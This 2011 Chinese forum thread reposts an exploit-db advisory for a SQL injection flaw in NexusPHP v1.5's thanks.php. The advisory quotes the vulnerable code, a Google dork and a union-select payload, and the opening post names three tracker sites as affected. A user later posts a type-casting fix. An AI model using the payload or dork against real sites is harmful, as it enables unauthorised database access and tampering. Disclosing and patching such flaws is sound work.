chinahdtv cnscg 3dpt 都可以注入修改数据库的漏洞 !

chinahdtv cnscg 3dpt  都可以注入修改数据库的漏洞 !  今天发现NexusPHP  SQL注入漏洞 !

http://www.exploit-db.com/exploits/17946/

# Exploit Title: Nexusphp.v1.5 SQL injection Vulnerability  

# Google Dork: intitle:nexusphp  

# Date: 2011-10-08  

# Author: flyh4t  

# Software Link: http://sourceforge.net/projects/nexusphp/  

# Version: nexusphp.v1.5  

# Tested on: linux+apache  

# CVE : CVE-2011-4026  

   

   

Nexusphp is BitTorrent private tracker scripts written in PHP   

The codes is here http://sourceforge.net/projects/nexusphp/  

There is a sql injectiong Vulnerability in thanks.php.  

   

-----------------------vul code-------------------  

//thanks.php  

if ($_GET['id'])  

stderr("Party is over!", "This trick doesn't work anymore. You need to click the button!");  

$userid = $CURUSER["id"];  

$torrentid = $_POST["id"];  

$tsql = sql_query("SELECT owner FROM torrents where id=$torrentid");  

$arr = mysql_fetch_array($tsql);  

-----------------------vul code end-------------------  

   

$_POST["id"] is not checked, lead a sql injection Vulnerability  

   

-----------------------exploit-------------------  

   

_POST[id] : -1 union select version()>4/*  

   

-----------------------exploit end -------------------

哎呦喂 看不懂啊 你自己发现的啊？去联系网站管理啊 说不定给你大红包啊 哈哈！这个沙发是我的！

披甲熊 发表于 2011-11-22 21:29
哎呦喂 看不懂啊 你自己发现的啊？去联系网站管理啊 说不定给你大红包啊 哈哈！这个沙发是我的！

你真够水的，这三个站，有两个没有，一个用的是傻瓜密码，不怕

Neverthele 发表于 2011-11-22 21:35
你真够水的，这三个站，有两个没有，一个用的是傻瓜密码，不怕

必须得水 再说咱水也不是几个字的回复 都是高质量高要求的 今天还没拿硬币呢 你那？

披甲熊 发表于 2011-11-22 21:38
必须得水 再说咱水也不是几个字的回复 都是高质量高要求的 今天还没拿硬币呢 你那？

{:5_397:}我基本上是不会捡的，感觉这东西和每天发帖数有关

真是高手呀{:1_87:}

完全表示看不懂{:2_141:}

软件检测的结果吧？

好高深的东西，外行只能来看看热闹了

我是外行，只能看热闹了

都看不懂，可是见到水王都来了{:1_87:}

希望尽快修补吧

PHP還沒學到,現在被C++ data structure 玩弄中

LZ技术帝，小白只能围观了

早就知道了，于是修复了。
修复方法 ：

将

1. $torrentid = $_POST["id"];
   

复制代码

改为

1. $torrentid =0 + $_POST["id"];
   

复制代码

技术性的

太高深 只能膜拜{:3_153:}

看不懂啊看不懂。。。

power12317 发表于 2011-11-23 14:04
早就知道了，于是修复了。
修复方法 ：

你应该补充在你的建站贴呢，呵呵

albertshi 发表于 2011-11-24 10:58
你应该补充在你的建站贴呢，呵呵

呵呵 漏洞什么的 当然是有个特定的站 Nexusphp技术维护联盟： http://nexusphp.org